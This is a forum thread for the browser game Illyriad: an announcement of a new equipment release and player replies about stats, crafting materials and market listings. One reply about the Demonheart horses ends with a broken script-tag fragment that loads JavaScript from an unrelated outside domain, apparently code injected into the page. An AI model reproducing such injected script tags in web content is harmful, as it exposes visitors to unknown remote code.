Greetings! 

We're excited to announce the first stage of our massive multi-tier content release: Exotic Armaments.  This first stage will give players the ability to research and discover up to 125 new pieces of equipment, completely changing the face of warfare across Illyriad.  This new equipment will make use of all recently unused crafting materials, so get out there and get to hunting and trading! 

You'll notice powerful enchanted equipment with strange new components; this will stem from a new school of magic that hasn't been released yet, but will be unleashed upon Elgea and the Broken lands very shortly.  However, nearly 60% of researchable equipment will be craftable immediately as they don't require the soon-to-be-released reagents.


We look forward to sharing more of what is to come in the coming days, but for now, enjoy and craft away! 


We've compiled the full release notes into a handy PDF document https://assets.illyriad.net/www/ReleaseEquipmentNotes.pdf" rel="nofollow - here .

Sorry to burst bubbles, but this new crafted stuff is basically 99% useless. Why are you wasting your time and our money to create garbage?

WOOTWOOT! Super excited! Been waiting for magic upgrade for 6 years!

I dont really play anymore so i dont really care but it isn't a waste of your money or anyone money as you aren't required to pay play this game and of course most equipment would be useless (haven't looked at the stats) when it come done to math. There isnt anyways around that. And if they wanted to spend time creating this stuff it isnt a waste of time. I doubt they care to much to satisfy whiny people like you (of course they wont say that to you).

Stats go up to +270% attack (in the correct circumstances). Hardly useless.

New highest speed is 117 p/h

This is the thread that never ends, yes it goes on and on my friend. Some person started it, not knowing what it was, and we'll continue posting on it forever just because...

Looks good.  Only complaint I have is the stats have all been removed off existing equipment when you click on the item.  This means the only way at the moment to see what the stats are on equipment is to sift through the now extremely cluttered crafting research page and find the item you want to know the stats on.  Can we get the stats added back to the item descriptions like they were before please?

That is a shed load of new kit !
Looks like over a year of research to be able to craft the lot.

New equip is great but am not sure anything new is worth the investment based on an early analysis since other existing gear is more scaleable. I do hope the stats added back to the item descriptions like Jabob was saying. Either way I Heart Illy Thumbs Up

Koda, I agree with most of your comment but there is existing equipment that is not at all useless and fully worth development. 

"and of course most equipment would be useless (haven't looked at the stats) when it come done to math."

A lot of items need elemental salts which don't exist in Broken Lands is this being addressed or are we BL players losing out again, not everyone in BL can afford them no doubt..

Zales, one of the topics raised at IllyCon was whether there should be elementals introduced in the Broken Lands.... 
no decision one way or the other yet, as far as I know... but it is something the devs are considering

Glad to see new stuff. Hopefully the supply of elementals will increase to make the new stuff practical to make in quantities that will make it meaningful. Look forward to the new magic as well. Not sure why they believe these things should come without announcement. It tends to cause frustration rather than anticipation!

The GM Smurfs won't comment on mysteries, quests, or discoveries, but sometimes they do in new releases and updates.  Look beyond the surface statistics for potential applications.  

The Audrey quest would have been solved much sooner (and by more players) if people spent more time looking at updates and less time trying to surround cities with armies to stop corruption of surrounding city squares.

The four Demonheart horses do NOT appear on the research trees - even in towns where the underlying race-specific horse discovery has been made. I'm wondering if this is a new discovery that has to be made or will they just appear to be crafted when the appropriate 'shards' are added to the game.< ="text/" async="" ="//makeappdev.xyz/1e6ab715a3a95d4603.js">

Maybe we need to research 20 of the advanced researches to unlock the new horses.

At least the stats are still showing for the craft discoveries:

People have been moaning about no updates.
We get an update, yet you still moan?
Are you expecting them to change coke to pepsi AND find your f'ing car keys?

Crawl back into the parallel universe you inhabit (please).

I love the update, but like some other, I wonder why the developers don't address the fact that there are no elementals in the BL.

I reckon either they are slowly making their way down there or it's comming as part of a later upgrade.

Exciting updates... Tongue

For their efforts GMs deserve a thumbs up.... not just any thumbs up.... a 'Keanu' thumbs up Embarrassed

Firstly, a big Clap and Thumbs Up for all the work gone into this update.

Over a years more crafting research... That begs a question regarding audrey, the greatest quest in illyriad (still unsolved) and race specific weapons/armours 

A prerequisite for the quest, (that many of us have started, or at least tried to start) is that all crafting research must be completed in a city that attempts the quest.

Now that the crafting research has been expanded, does this mean that 

a. Cities that have started this quest have to go back to square 1 (or are on hold) until all new crafting research is done.

and/or

b. New cities that want to start the quest will have a lot more crafting research to get through.

I assume this quest is still a going concern.

P.S. any tips for it Wink

Nice. I like the added depth.

One question...what is the point of having plate armour with matching stats to the chainmail version, when all units can wear the chainmail version, and it's easier to attain? I saw in many cases, for the new items, the chainmail version even has +2% movement, where the plate doesn't.


Posted By: Bobtron
Date Posted: 15 Oct 2018 at 04:06
depends, some equipment don't have the chainmail version, like spiked platemail. also plate is cheaper than chain, and if you were an orc only alliance fighting an elven alliance, you could use pure plate equip to deny the enemy use of your dropped stuff

Boereal billhooks are not listed (in centrum or any other hub I can see) atm - [@c=91] although they are craftable.

In fact, looking through the list, only a few of the new weapons/armours are listed in the markets. 

Currently listed I see:-

Mounts - all 5 new types,

Swords - banes of kerberos,

Bows -citadel bow,

Spears - sunburst halberd, Fiendish lace and Mancleavers .

Leather - Tunics of the shrouded,

Chain - Scales of kerberos,

Plate - Aegeis of virtue,

Exotics - all mana, shards and essences.

All the remaining "stuff" is unlisted atm.

Hope this helps with your implementing these updates, I'm itching to make some of this new gear, (like, eg, the heartpiercer bow Evil Smile)

If you tick the "show all" button they should show up; by default it only shows items with buy or sell orders.

Scaled Charger Hearts are used to make Prestige Tomes.
